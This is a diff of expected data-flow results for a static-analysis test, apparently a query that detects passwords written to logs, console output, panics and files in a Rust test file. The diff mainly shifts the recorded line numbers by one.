| password | test_logging.rs:195:27:195:32 | expect | This operation writes $@ to a log file. | test_logging.rs:195:58:195:65 | password | password | +| test_logging.rs:201:30:201:34 | write | test_logging.rs:201:62:201:69 | password | test_logging.rs:201:30:201:34 | write | This operation writes $@ to a log file. | test_logging.rs:201:62:201:69 | password | password | +| test_logging.rs:202:30:202:38 | write_all | test_logging.rs:202:66:202:73 | password | test_logging.rs:202:30:202:38 | write_all | This operation writes $@ to a log file. | test_logging.rs:202:66:202:73 | password | password | +| test_logging.rs:205:9:205:13 | write | test_logging.rs:205:41:205:48 | password | test_logging.rs:205:9:205:13 | write | This operation writes $@ to a log file. | test_logging.rs:205:41:205:48 | password | password | +| test_logging.rs:208:9:208:13 | write | test_logging.rs:208:41:208:48 | password | test_logging.rs:208:9:208:13 | write | This operation writes $@ to a log file. | test_logging.rs:208:41:208:48 | password | password | edges -| test_logging.rs:42:12:42:35 | MacroExpr | test_logging.rs:42:5:42:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:42:28:42:35 | password | test_logging.rs:42:12:42:35 | MacroExpr | provenance | | | test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:12:43:35 | MacroExpr | provenance | | -| test_logging.rs:44:11:44:34 | MacroExpr | test_logging.rs:44:5:44:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:44:27:44:34 | password | test_logging.rs:44:11:44:34 | MacroExpr | provenance | | -| test_logging.rs:45:12:45:35 | MacroExpr | test_logging.rs:45:5:45:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:45:28:45:35 | password | test_logging.rs:45:12:45:35 | MacroExpr | provenance | | -| test_logging.rs:46:11:46:34 | MacroExpr | test_logging.rs:46:5:46:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:46:27:46:34 | password | test_logging.rs:46:11:46:34 | MacroExpr | provenance | | -| test_logging.rs:47:24:47:47 | MacroExpr | test_logging.rs:47:5:47:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:47:40:47:47 | password | test_logging.rs:47:24:47:47 | MacroExpr | provenance | | -| test_logging.rs:52:12:52:35 | MacroExpr | test_logging.rs:52:5:52:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:52:28:52:35 | password | test_logging.rs:52:12:52:35 | MacroExpr | provenance | | -| test_logging.rs:54:12:54:48 | MacroExpr | test_logging.rs:54:5:54:49 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:54:41:54:48 | password | test_logging.rs:54:12:54:48 | MacroExpr | provenance | | -| test_logging.rs:56:12:56:46 | MacroExpr | test_logging.rs:56:5:56:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:56:39:56:46 | password | test_logging.rs:56:12:56:46 | MacroExpr | provenance | | -| test_logging.rs:57:12:57:33 | MacroExpr | test_logging.rs:57:5:57:34 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:57:24:57:31 | password | test_logging.rs:57:12:57:33 | MacroExpr | provenance | | -| test_logging.rs:58:12:58:35 | MacroExpr | test_logging.rs:58:5:58:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:35 | MacroExpr | provenance | | -| test_logging.rs:60:30:60:53 | MacroExpr | test_logging.rs:60:5:60:54 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:60:46:60:53 | password | test_logging.rs:60:30:60:53 | MacroExpr | provenance | | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:61:20:61:28 | &password | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:61:20:61:28 | &password [&ref] | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password | provenance | Config | -| test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password [&ref] | provenance | | -| test_logging.rs:65:24:65:47 | MacroExpr | test_logging.rs:65:5:65:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:65:40:65:47 | password | test_logging.rs:65:24:65:47 | MacroExpr | provenance | | -| test_logging.rs:67:42:67:65 | MacroExpr | test_logging.rs:67:5:67:66 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:67:58:67:65 | password | test_logging.rs:67:42:67:65 | MacroExpr | provenance | | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:68:18:68:26 | &password | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:68:18:68:26 | &password [&ref] | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password | provenance | Config | -| test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password [&ref] | provenance | | -| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:72:39:72:46 | password | test_logging.rs:72:23:72:46 | MacroExpr | provenance | | -| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:74:57:74:64 | password | test_logging.rs:74:41:74:64 | MacroExpr | provenance | | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &password | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:75:20:75:28 | &password [&ref] | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password | provenance | Config | -| test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password [&ref] | provenance | | -| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:76:39:76:46 | password | test_logging.rs:76:23:76:46 | MacroExpr | provenance | | -| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:82:36:82:43 | password | test_logging.rs:82:20:82:43 | MacroExpr | provenance | | -| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:84:54:84:61 | password | test_logging.rs:84:38:84:61 | MacroExpr | provenance | | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &password | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:85:20:85:28 | &password [&ref] | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password | provenance | Config | -| test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password [&ref] | provenance | | -| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:86:36:86:43 | password | test_logging.rs:86:20:86:43 | MacroExpr | provenance | | -| test_logging.rs:93:9:93:10 | m1 | test_logging.rs:94:11:94:28 | MacroExpr | provenance | | -| test_logging.rs:93:14:93:22 | &password | test_logging.rs:93:9:93:10 | m1 | provenance | | -| test_logging.rs:93:15:93:22 | password | test_logging.rs:93:14:93:22 | &password | provenance | Config | -| test_logging.rs:94:11:94:28 | MacroExpr | test_logging.rs:94:5:94:29 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:96:9:96:10 | m2 | test_logging.rs:97:11:97:18 | MacroExpr | provenance | | -| test_logging.rs:96:41:96:49 | &password | test_logging.rs:96:9:96:10 | m2 | provenance | | -| test_logging.rs:96:42:96:49 | password | test_logging.rs:96:41:96:49 | &password | provenance | Config | -| test_logging.rs:97:11:97:18 | MacroExpr | test_logging.rs:97:5:97:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:99:9:99:10 | m3 | test_logging.rs:100:11:100:18 | MacroExpr | provenance | | -| test_logging.rs:99:14:99:46 | res | test_logging.rs:99:22:99:45 | { ... } | provenance | | -| test_logging.rs:99:22:99:45 | ...::format(...) | test_logging.rs:99:14:99:46 | res | provenance | | -| test_logging.rs:99:22:99:45 | ...::must_use(...) | test_logging.rs:99:9:99:10 | m3 | provenance | | -| test_logging.rs:99:22:99:45 | MacroExpr | test_logging.rs:99:22:99:45 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:99:22:99:45 | { ... } | test_logging.rs:99:22:99:45 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:99:38:99:45 | password | test_logging.rs:99:22:99:45 | MacroExpr | provenance | | -| test_logging.rs:100:11:100:18 | MacroExpr | test_logging.rs:100:5:100:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:118:12:118:41 | MacroExpr | test_logging.rs:118:5:118:42 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:12:118:41 | MacroExpr | provenance | | -| test_logging.rs:129:9:129:10 | t1 [tuple.1] | test_logging.rs:131:28:131:29 | t1 [tuple.1] | provenance | | -| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | test_logging.rs:129:9:129:10 | t1 [tuple.1] | provenance | | -| test_logging.rs:129:25:129:32 | password | test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | provenance | | -| test_logging.rs:131:12:131:31 | MacroExpr | test_logging.rs:131:5:131:32 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:131:28:131:29 | t1 [tuple.1] | test_logging.rs:131:28:131:31 | t1.1 | provenance | | -| test_logging.rs:131:28:131:31 | t1.1 | test_logging.rs:131:12:131:31 | MacroExpr | provenance | | -| test_logging.rs:152:12:152:37 | MacroExpr | test_logging.rs:152:5:152:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:152:30:152:37 | password | test_logging.rs:152:12:152:37 | MacroExpr | provenance | | -| test_logging.rs:153:14:153:37 | MacroExpr | test_logging.rs:153:5:153:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:153:30:153:37 | password | test_logging.rs:153:14:153:37 | MacroExpr | provenance | | -| test_logging.rs:154:13:154:38 | MacroExpr | test_logging.rs:154:5:154:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:154:31:154:38 | password | test_logging.rs:154:13:154:38 | MacroExpr | provenance | | -| test_logging.rs:155:15:155:38 | MacroExpr | test_logging.rs:155:5:155:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:155:31:155:38 | password | test_logging.rs:155:15:155:38 | MacroExpr | provenance | | -| test_logging.rs:158:23:158:46 | MacroExpr | test_logging.rs:158:16:158:47 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:158:39:158:46 | password | test_logging.rs:158:23:158:46 | MacroExpr | provenance | | -| test_logging.rs:159:22:159:45 | MacroExpr | test_logging.rs:159:16:159:46 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:159:38:159:45 | password | test_logging.rs:159:22:159:45 | MacroExpr | provenance | | -| test_logging.rs:160:31:160:54 | MacroExpr | test_logging.rs:160:16:160:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:160:47:160:54 | password | test_logging.rs:160:31:160:54 | MacroExpr | provenance | | -| test_logging.rs:161:29:161:52 | MacroExpr | test_logging.rs:161:16:161:53 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:161:45:161:52 | password | test_logging.rs:161:29:161:52 | MacroExpr | provenance | | -| test_logging.rs:162:31:162:54 | MacroExpr | test_logging.rs:162:16:162:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:162:47:162:54 | password | test_logging.rs:162:31:162:54 | MacroExpr | provenance | | -| test_logging.rs:163:33:163:56 | ...::Some(...) [Some] | test_logging.rs:163:16:163:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:163:33:163:56 | MacroExpr | test_logging.rs:163:33:163:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:163:49:163:56 | password | test_logging.rs:163:33:163:56 | MacroExpr | provenance | | -| test_logging.rs:164:33:164:56 | ...::Some(...) [Some] | test_logging.rs:164:16:164:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:164:33:164:56 | MacroExpr | test_logging.rs:164:33:164:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:164:49:164:56 | password | test_logging.rs:164:33:164:56 | MacroExpr | provenance | | -| test_logging.rs:165:37:165:60 | MacroExpr | test_logging.rs:165:16:165:61 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:165:53:165:60 | password | test_logging.rs:165:37:165:60 | MacroExpr | provenance | | -| test_logging.rs:166:39:166:62 | ...::Some(...) [Some] | test_logging.rs:166:16:166:63 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:166:39:166:62 | MacroExpr | test_logging.rs:166:39:166:62 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:166:55:166:62 | password | test_logging.rs:166:39:166:62 | MacroExpr | provenance | | -| test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | test_logging.rs:167:17:167:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:167:40:167:63 | MacroExpr | test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:167:56:167:63 | password | test_logging.rs:167:40:167:63 | MacroExpr | provenance | | -| test_logging.rs:168:34:168:66 | res | test_logging.rs:168:42:168:65 | { ... } | provenance | | -| test_logging.rs:168:34:168:75 | ... .as_str() | test_logging.rs:168:27:168:32 | expect | provenance | MaD:1 Sink:MaD:1 | -| test_logging.rs:168:42:168:65 | ...::format(...) | test_logging.rs:168:34:168:66 | res | provenance | | -| test_logging.rs:168:42:168:65 | ...::must_use(...) | test_logging.rs:168:34:168:75 | ... .as_str() | provenance | MaD:12 | -| test_logging.rs:168:42:168:65 | MacroExpr | test_logging.rs:168:42:168:65 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:168:42:168:65 | { ... } | test_logging.rs:168:42:168:65 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:168:58:168:65 | password | test_logging.rs:168:42:168:65 | MacroExpr | provenance | | -| test_logging.rs:174:36:174:70 | res | test_logging.rs:174:44:174:69 | { ... } | provenance | | -| test_logging.rs:174:36:174:81 | ... .as_bytes() | test_logging.rs:174:30:174:34 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:174:44:174:69 | ...::format(...) | test_logging.rs:174:36:174:70 | res | provenance | | -| test_logging.rs:174:44:174:69 | ...::must_use(...) | test_logging.rs:174:36:174:81 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:174:44:174:69 | MacroExpr | test_logging.rs:174:44:174:69 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:174:44:174:69 | { ... } | test_logging.rs:174:44:174:69 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:174:62:174:69 | password | test_logging.rs:174:44:174:69 | MacroExpr | provenance | | -| test_logging.rs:175:40:175:74 | res | test_logging.rs:175:48:175:73 | { ... } | provenance | | -| test_logging.rs:175:40:175:85 | ... .as_bytes() | test_logging.rs:175:30:175:38 | write_all | provenance | MaD:6 Sink:MaD:6 | -| test_logging.rs:175:48:175:73 | ...::format(...) | test_logging.rs:175:40:175:74 | res | provenance | | -| test_logging.rs:175:48:175:73 | ...::must_use(...) | test_logging.rs:175:40:175:85 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:175:48:175:73 | MacroExpr | test_logging.rs:175:48:175:73 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:175:48:175:73 | { ... } | test_logging.rs:175:48:175:73 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:175:66:175:73 | password | test_logging.rs:175:48:175:73 | MacroExpr | provenance | | -| test_logging.rs:178:15:178:49 | res | test_logging.rs:178:23:178:48 | { ... } | provenance | | -| test_logging.rs:178:15:178:60 | ... .as_bytes() | test_logging.rs:178:9:178:13 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:178:23:178:48 | ...::format(...) | test_logging.rs:178:15:178:49 | res | provenance | | -| test_logging.rs:178:23:178:48 | ...::must_use(...) | test_logging.rs:178:15:178:60 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:178:23:178:48 | MacroExpr | test_logging.rs:178:23:178:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:178:23:178:48 | { ... } | test_logging.rs:178:23:178:48 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:178:41:178:48 | password | test_logging.rs:178:23:178:48 | MacroExpr | provenance | | -| test_logging.rs:181:15:181:49 | res | test_logging.rs:181:23:181:48 | { ... } | provenance | | -| test_logging.rs:181:15:181:60 | ... .as_bytes() | test_logging.rs:181:9:181:13 | write | provenance | MaD:4 Sink:MaD:4 | -| test_logging.rs:181:23:181:48 | ...::format(...) | test_logging.rs:181:15:181:49 | res | provenance | | -| test_logging.rs:181:23:181:48 | ...::must_use(...) | test_logging.rs:181:15:181:60 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:181:23:181:48 | MacroExpr | test_logging.rs:181:23:181:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:181:23:181:48 | { ... } | test_logging.rs:181:23:181:48 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:181:41:181:48 | password | test_logging.rs:181:23:181:48 | MacroExpr | provenance | | +| test_logging.rs:44:12:44:35 | MacroExpr | test_logging.rs:44:5:44:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:44:28:44:35 | password | test_logging.rs:44:12:44:35 | MacroExpr | provenance | | +| test_logging.rs:45:11:45:34 | MacroExpr | test_logging.rs:45:5:45:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:45:27:45:34 | password | test_logging.rs:45:11:45:34 | MacroExpr | provenance | | +| test_logging.rs:46:12:46:35 | MacroExpr | test_logging.rs:46:5:46:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:46:28:46:35 | password | test_logging.rs:46:12:46:35 | MacroExpr | provenance | | +| test_logging.rs:47:11:47:34 | MacroExpr | test_logging.rs:47:5:47:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:47:27:47:34 | password | test_logging.rs:47:11:47:34 | MacroExpr | provenance | | +| test_logging.rs:48:24:48:47 | MacroExpr | test_logging.rs:48:5:48:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:48:40:48:47 | password | test_logging.rs:48:24:48:47 | MacroExpr | provenance | | +| test_logging.rs:53:12:53:35 | MacroExpr | test_logging.rs:53:5:53:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:53:28:53:35 | password | test_logging.rs:53:12:53:35 | MacroExpr | provenance | | +| test_logging.rs:55:12:55:48 | MacroExpr | test_logging.rs:55:5:55:49 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:55:41:55:48 | password | test_logging.rs:55:12:55:48 | MacroExpr | provenance | | +| test_logging.rs:57:12:57:46 | MacroExpr | test_logging.rs:57:5:57:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:57:39:57:46 | password | test_logging.rs:57:12:57:46 | MacroExpr | provenance | | +| test_logging.rs:58:12:58:33 | MacroExpr | test_logging.rs:58:5:58:34 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:33 | MacroExpr | provenance | | +| test_logging.rs:59:12:59:35 | MacroExpr | test_logging.rs:59:5:59:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:59:24:59:31 | password | test_logging.rs:59:12:59:35 | MacroExpr | provenance | | +| test_logging.rs:61:30:61:53 | MacroExpr | test_logging.rs:61:5:61:54 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:61:46:61:53 | password | test_logging.rs:61:30:61:53 | MacroExpr | provenance | | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:62:20:62:28 | &password | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:62:20:62:28 | &password [&ref] | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password | provenance | Config | +| test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password [&ref] | provenance | | +| test_logging.rs:66:24:66:47 | MacroExpr | test_logging.rs:66:5:66:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:66:40:66:47 | password | test_logging.rs:66:24:66:47 | MacroExpr | provenance | | +| test_logging.rs:68:42:68:65 | MacroExpr | test_logging.rs:68:5:68:66 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:68:58:68:65 | password | test_logging.rs:68:42:68:65 | MacroExpr | provenance | | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:69:18:69:26 | &password | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:69:18:69:26 | &password [&ref] | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password | provenance | Config | +| test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password [&ref] | provenance | | +| test_logging.rs:73:23:73:46 | MacroExpr | test_logging.rs:73:5:73:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:73:39:73:46 | password | test_logging.rs:73:23:73:46 | MacroExpr | provenance | | +| test_logging.rs:75:41:75:64 | MacroExpr | test_logging.rs:75:5:75:65 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:75:57:75:64 | password | test_logging.rs:75:41:75:64 | MacroExpr | provenance | | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:76:20:76:28 | &password | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:76:20:76:28 | &password [&ref] | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password | provenance | Config | +| test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password [&ref] | provenance | | +| test_logging.rs:77:23:77:46 | MacroExpr | test_logging.rs:77:5:77:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:77:39:77:46 | password | test_logging.rs:77:23:77:46 | MacroExpr | provenance | | +| test_logging.rs:83:20:83:43 | MacroExpr | test_logging.rs:83:5:83:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:83:36:83:43 | password | test_logging.rs:83:20:83:43 | MacroExpr | provenance | | +| test_logging.rs:85:38:85:61 | MacroExpr | test_logging.rs:85:5:85:62 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:85:54:85:61 | password | test_logging.rs:85:38:85:61 | MacroExpr | provenance | | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:86:20:86:28 | &... 